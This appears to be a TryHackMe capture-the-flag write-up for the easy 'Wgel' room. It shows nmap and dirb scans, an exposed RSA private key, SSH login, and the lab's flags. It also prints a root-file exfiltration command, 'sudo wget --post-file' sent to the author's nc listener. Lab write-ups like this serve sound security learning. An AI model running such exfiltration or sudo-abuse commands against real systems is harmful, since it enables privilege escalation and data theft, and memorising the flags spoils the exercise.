

Wgel THM CTF simple writeup

- CTF Name: Wgel ctf
- CTF Level: Easy
- Date: 6/28/2025
- Platform: THM CTF
- Category: Jeopardy style
- IP: here I used host "wgel_host"
- CTF Description: This ctf teaches you about directory bruteforcing, remote connection(ssh)..etc.

NB. Before start connect your network!

Nmap scann result

➤ `nmap -sV -Pn wgel_host -vvv`

```
Nmap scan report for wgel_host (10.10.197.75)
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

so it has a website(http) and open SSH port(we can connect remotely).


when I bruteforce directories i found an interesting file .ssh

➤ `dirb http://wgel_host`

```
==> DIRECTORY: http://wgel_host/sitemap/.ssh/
```

Then I browse http://wgel_host/sitemap/.ssh/ and then I got a private key:

Index of /sitemap/.ssh

Name	Last modified	Size	Description
 Parent Directory		-	
 id_rsa	2019-10-26 09:24	1.6K	

Apache/2.4.18 (Ubuntu) Server at wgel_host Port 80

```
-----BEGIN RSA PRIVATE KEY-----
MIEowIBAAKCAQEA2mujeBv3MEQFCe18yvvgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAquy30lSp5jH/bhcvYLsK+T9zEdzHmjKDtZN2cYgwHw0dDadSXWFf9W2gc3x
W69vjkHLJs+lQ10bEJvqpCZ1rFFSpV00jVYRxQ4KfAawBsCG6lA7G07vLZPRiKsP
y4lg2StXQYuZ0cUvx8UkhpgxWy/009ceMNondU61kyHafKobJP7Py5QnH7cP/psr
+J5M/fVBoKPCPXa71mA/ZUioimChBPV/i/0za0FzVuJJZdnSPtS7LzPjYFqxnM/BH
Wo/Lmln4FLzLb1T31p0oTtTKuUQWxHf7cN8v6QIDAQABAoIBAFZDKpV2HgL+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbAfwCjwCgZXUb9mFoNI2Ic4PsPjbqyC02LmE
AnAhHKQNeU0n3ymGJEU9iJMjigb5xZGwX0FBoUJC9QJMBBZthWyLLJUKic7GvPa
M7QYKP51VCilj3Gr0d1ygFSRkP6jZp0pM33dG1/ubom70WDZPDS9AjA0kYuJBobG
SUM+uxh7JJn8uM9J4NvQPk10RIXFYECwNW+iHsB0CwLcF7CAZAbWLSJgd6TcGTv
2KBA6YcfGXN0b49CF0BMLBY/dcwPhu+d0KcruHTeTnM7aLdrexpiMJ3XHvQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evJEA5uTCsDzmsDj
7pU08zziTXgeDENrczluo0e3bL13MiZeFe9HQNMpVOX+vEaCZd6ZNFbJ4R889D7I
dcXDvkNRbw42Zwx8TawzwXFVhn8Rs9fMwPlbdVh9f9h7papfGN2FoeECgYEA4Eiy
GW9eJnl0tzL31TpW2lnJ+KYCRIlucQUbTQLWdTncUkm+LBS5Z6dGxEcwCrYY1fh
shl66KulTmE3G9nFPKczCwd7jFwmUUK0hX6Sog7VRQZw72cmp7lyb1KRQ9A0Nb97
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMkrxN2TK3f3LPFgST8K+N
LaIN000Q622e8TnFkme8AV9lPp7eWfG2tJHk1gw0IXx4Da8oo466QIFBb74kN3u
QJkSaIdWAnh0G/dqD63fbBP95lks7cEkokLWSNhwkffUuDeIpy0R6JuKfbXTFKBW
V35mEHIidDqtCyC/gzDKIQKBgDE+d+/b46nBK976oy9AY0gJRW+DTKYuI4FP51T5
hRCRzsyys7dMiVptxtsomEHwYziybnr3SeFGuUr1w/Qq9iB8/ZMckMGbxoUGmr
9Jj/dtd0ZaI8XWGHMokncVyZwI044ftoRcCQ+a2G4oeG8ffG2ZtW2tWT40pebIsu
eyq5A0GBANck0aWnitoMTdWZ5d+WNncqcztoNppuoMaG7L3smUSBz6k8J4p4yDPb
QNF1fedE0vsuMlpNgvcwVXGINgo00USJTxCrQFy/onH6X1T50AAW6/UXc4S7Vsg
jL8g9yBg4vPB8dHC6JeJpFFE06vxQMFzn6vjEab9GhnpMihRSCod
-----END RSA PRIVATE KEY-----
```

I saved it in txt file(**id_rsa**).

```
(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$ nano id_rsa

(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$ ls
id_rsa  nmap_result.txt  reports

(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$
```

Then i gave a proper permission for the file:

```
(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$ chmod 600 id_rsa

(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$
```

I got the username from the "**view page source**" of wgel_host

```
<!-- Jessie don't forget to udate the webiste -->
```

So, **jessie** is the username.

Now I have connected with ssh:

```
(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$ ssh -i id_rsa jessie@wgel_host
The authenticity of host 'wgel_host (10.10.135.233)' can't be established.
ED25519 key fingerprint is SHA256:6fAPL8SGCIuyS5qsSf25mG+DUJBuYp4syoBloBpgHfc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wgel_host' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-45-generic i686)
 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
8 packages can be updated.
8 updates are security updates.

jessie@CorpOne:~$
```

To get the user flag just locate it:

```
jessie@CorpOne:~$ ls
Desktop Documents Downloads examples.desktop Music Pictures Public Templates Videos
jessie@CorpOne:~$ locate flag
/home/jessie/Documents/user_flag.txt
/usr/include/X11/bitmaps/flagdown
/usr/include/X11/bitmaps/flagup
/usr/include/i386-linux-gnu/asm/processor-flags.h
/usr/include/i386-linux-gnu/bits/waitflags.h
```

```
jessie@CorpOne:~$ cd Documents
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
057c67131c3d5e42dd5cd3075b198ff6
jessie@CorpOne:~/Documents$
```

User Flag = 057c67131c3d5e42dd5cd3075b198ff6

To get the root flag you have to use 2 terminals for finding the flag in /root and to listen the responses NB. Use your tun IP to listen:

```
solace@solace: ~/projects/CTF/THM/wgel_ctf
File Actions Edit View Help
jessie@CorpOne:~$ wget --post-file=/root/root_flag.txt http://10.23.134.212:4422
--2025-06-28 16:11:23-- http://10.23.134.212:4422/
BODY data file '/root/root_flag.txt' missing: Permission denied
jessie@CorpOne:~$ sudo wget --post-file=/root/root_flag.txt http://10.23.134.212:4422
--2025-06-28 16:11:53-- http://10.23.134.212:4422/
Connecting to 10.23.134.212:4422 ... connected.
HTTP request sent, awaiting response ... [ ]

Have fun with this easy box.

(solace@solace)-[~/projects/CTF/THM/wgel_ctf]
$ nc -lvp 4422
listening on [any] 4422 ...
connect to [10.23.134.212] from wgel_host [10.10.135.233] 42488
POST / HTTP/1.1 User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.23.134.212:4422
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

b1b968b37519ad1daa6408188649263d
```

The Root flag = b1b968b37519ad1daa6408188649263d

BOOM BOOM BOOM!!

Finally I did it!



Congratulations on completing Wgel CTF!!! 🎉

Name: Solomon Tesfaye

ETHICAL HACKER

